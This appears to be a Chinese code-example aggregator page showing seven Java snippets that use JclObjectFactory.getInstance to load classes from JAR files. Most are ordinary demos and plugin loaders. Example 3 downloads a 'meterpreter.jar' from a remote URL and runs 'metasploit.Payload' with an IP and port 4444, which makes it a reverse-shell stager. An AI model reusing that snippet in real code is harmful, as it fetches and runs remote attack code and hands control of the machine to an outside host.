本文整理汇总了Java中org.xeustechnologies.jcl.JclObjectFactory.getInstance方法的典型用法代码示例。如果您正苦于以下问题:Java JclObjectFactory.getInstance方法的具体用法?Java JclObjectFactory.getInstance怎么用?Java JclObjectFactory.getInstance使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类org.xeustechnologies.jcl.JclObjectFactory
的用法示例。
在下文中一共展示了JclObjectFactory.getInstance方法的7个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: main
import org.xeustechnologies.jcl.JclObjectFactory; //导入方法依赖的package包/类
public static void main(String[] args) {
JarClassLoader jcl1 = new JarClassLoader();
jcl1.add(JclDemo.class.getResource("/jcldemo1.jar"));
JarClassLoader jcl2 = new JarClassLoader();
jcl2.add(JclDemo.class.getResource("/jcldemo2.jar"));
//Create default factory
JclObjectFactory factory = JclObjectFactory.getInstance();
//Create object of loaded class
Object obj1 = factory.create(jcl1, "org.n3r.sandbox.classloader.JclDemo");
//Obtain interface reference in the current classloader
JclTutorial mi1 = JclUtils.cast(obj1, JclTutorial.class);
System.out.println(mi1.hello("bingoo")); // hello:bingoo
//Create object of loaded class
Object obj2 = factory.create(jcl2, "org.n3r.sandbox.classloader.JclDemo");
//Obtain interface reference in the current classloader
JclTutorial mi2 = JclUtils.cast(obj2, JclTutorial.class);
System.out.println(mi2.hello("bingoo")); // world:bingoo
}
示例2: createInstanceOfClass
import org.xeustechnologies.jcl.JclObjectFactory; //导入方法依赖的package包/类
/**
* Create dynamically an instance of the specified object class
*
* @param jarClassLoader
* the class loader to be used
* @param objectClass
* an object class name
* @param injectableValues
* some values to be dynamically injected into the created
* classes
* @return an instance of object
* @throws ClassNotFoundException
*/
private Object createInstanceOfClass(JarClassLoader jarClassLoader, String objectClassName, Map<Class<?>, Object> injectableValues)
throws ClassNotFoundException {
if (log.isDebugEnabled()) {
log.debug("Attempting to create a class " + objectClassName);
}
Class<?> dynamicClass = jarClassLoader.loadClass(objectClassName);
if (log.isDebugEnabled()) {
log.debug("Class is created " + dynamicClass);
}
JclObjectFactory factory = JclObjectFactory.getInstance();
// Look for the constructor injection tag
Pair<Object[], Class<?>[]> injectableParameters = getInjectableConstructorParameters(dynamicClass, injectableValues);
if (injectableParameters != null) {
if (log.isDebugEnabled()) {
log.debug("Creating the class with parameters to be injected " + objectClassName + " : " + injectableParameters.getRight());
}
return factory.create(jarClassLoader, objectClassName, injectableParameters.getLeft(), injectableParameters.getRight());
}
// Attempt to create using a default constructor
return factory.create(jarClassLoader, objectClassName);
}
示例3: main
import org.xeustechnologies.jcl.JclObjectFactory; //导入方法依赖的package包/类
/**
* @param args the command line arguments
*/
public static void main(String[] args) throws IllegalArgumentException, SecurityException, MalformedURLException, IllegalAccessException, InvocationTargetException, NoSuchMethodException
{
JarClassLoader jcl = new JarClassLoader();
//Loading classes from different sources
jcl.add(new URL("http://url.com/meterpreter.jar"));
JclObjectFactory factory = JclObjectFactory.getInstance();
//Create object of loaded class
Object obj = factory.create(jcl, "metasploit.Payload");
Method meth = obj.getClass().getMethod("main", String[].class);
String[] params = {"192.168.1.1","4444"};
meth.invoke(null, (Object) params);
}
示例4: sandbox
import org.xeustechnologies.jcl.JclObjectFactory; //导入方法依赖的package包/类
void sandbox(String jarResourceName) {
try {
InputStream jar = this.getClass().getClassLoader()
.getResourceAsStream(jarResourceName);
JarClassLoader jcl = new JarClassLoader();
jcl.add(jar);
JclObjectFactory factory = JclObjectFactory.getInstance();
// call constructor with arguments.
Object obj = factory.create(jcl, "myapi.GreetingImpl",
new String[] { "Firstname", "Lastname" }, new Class[] {
String.class, String.class });
GreetingInterface gi = JclUtils.cast(obj, GreetingInterface.class);
System.out.println(gi.morning("Darjeeling"));
System.out.println(gi.afternoon("Assam"));
} catch (Throwable t) {
t.printStackTrace();
}
}
示例5: loadPlugin
import org.xeustechnologies.jcl.JclObjectFactory; //导入方法依赖的package包/类
public Plugin loadPlugin(File file) {
Policy.setPolicy(new PluginPolicy());
System.setSecurityManager(new SecurityManager());
JarClassLoader jcl = new JarClassLoader();
ProxyProviderFactory.setDefaultProxyProvider(new CglibProxyProvider());
JclObjectFactory factory = JclObjectFactory.getInstance(true);
jcl.getSystemLoader().setOrder(1);
jcl.add(file.getAbsolutePath());
Plugin plugin = (Plugin) factory.create(jcl, "plugin." + file.getName().replace(".jar", ""));
this.addPlugin(plugin);
return plugin;
}
示例6: loadGreetingInterface
import org.xeustechnologies.jcl.JclObjectFactory; //导入方法依赖的package包/类
GreetingInterface loadGreetingInterface(String jarResourceName) {
InputStream jar = this.getClass().getClassLoader()
.getResourceAsStream(jarResourceName);
JarClassLoader jcl = new JarClassLoader();
jcl.add(jar);
JclObjectFactory factory = JclObjectFactory.getInstance();
// call constructor with arguments.
Object obj = factory.create(jcl, "myapi.GreetingImpl", new String[] {
"Firstname", "Lastname" }, new Class[] { String.class,
String.class });
return JclUtils.cast(obj, GreetingInterface.class);
}
示例7: createGameRunStarter
import org.xeustechnologies.jcl.JclObjectFactory; //导入方法依赖的package包/类
protected Object createGameRunStarter() throws InstantiationException, IllegalAccessException,
ClassNotFoundException {
JclObjectFactory factory = JclObjectFactory.getInstance();
return factory.create(jcl, "de.oglimmer.cyc.GameRunStarter");
}